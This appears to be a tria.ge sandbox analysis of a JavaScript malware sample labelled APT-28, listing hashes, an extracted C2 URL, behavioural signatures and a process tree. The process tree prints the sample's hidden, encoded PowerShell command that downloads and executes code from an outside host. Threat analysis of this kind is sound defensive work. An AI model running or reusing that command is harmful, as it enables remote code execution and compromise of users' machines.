Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
0s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
26/12/2023, 07:10
Static task
static1
Behavioral task
behavioral1
Sample
2021APT-28_71700453.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2021APT-28_71700453.js
Resource
win10v2004-20231215-en
General
-
Target
2021APT-28_71700453.js
-
Size
109KB
-
MD5
f6a393d8108626ada8accd41aeda7c15
-
SHA1
dce9fa178fe5ac244d759a6e2a2a3847463406da
-
SHA256
d1fa39c36a3c6bb33f2cfb305537720415eafa40c5621233654382c5247b7802
-
SHA512
b32744b28ceeb2202445374bc249015e914099f5d47aec073825ecc17efe3adbe5e199d7459bda51a8dfd8b43699f64ea299215feadfe5b8b82af8302f53af51
-
SSDEEP
3072:DUB0+wbwRBneQ9Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd51:hRnQ9Ry9RuXqW4SzUHmLKeMMU7GwWBP5
Malware Config
Extracted
http://smart-integrator.hr/pornhub.php
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2112 wrote to memory of 2020 2112 wscript.exe 26 PID 2112 wrote to memory of 2020 2112 wscript.exe 26 PID 2112 wrote to memory of 2020 2112 wscript.exe 26
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_71700453.js1⤵
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵PID:2020
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA1⤵PID:1196